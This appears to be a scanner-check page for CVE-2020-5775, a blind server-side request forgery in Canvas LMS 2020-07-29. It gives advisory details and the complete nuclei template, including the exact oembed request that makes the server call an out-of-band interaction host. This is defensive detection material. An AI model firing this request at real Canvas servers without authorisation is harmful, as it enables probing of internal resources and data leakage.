Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery

mediumseverity

5.8CVSS score

6.8%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.

Fix

Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-5775 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5775

info:
  name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery
  author: alph4byt3
  severity: medium
  description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2020-49
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5775
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 5.8
    cve-id: CVE-2020-5775
    cwe-id: CWE-918
    epss-score: 0.06778
    epss-percentile: 0.9404
    cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: instructure
    product: canvas_learning_management_service
  tags: cve,cve2020,ssrf,oast,blind,tenable,instructure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from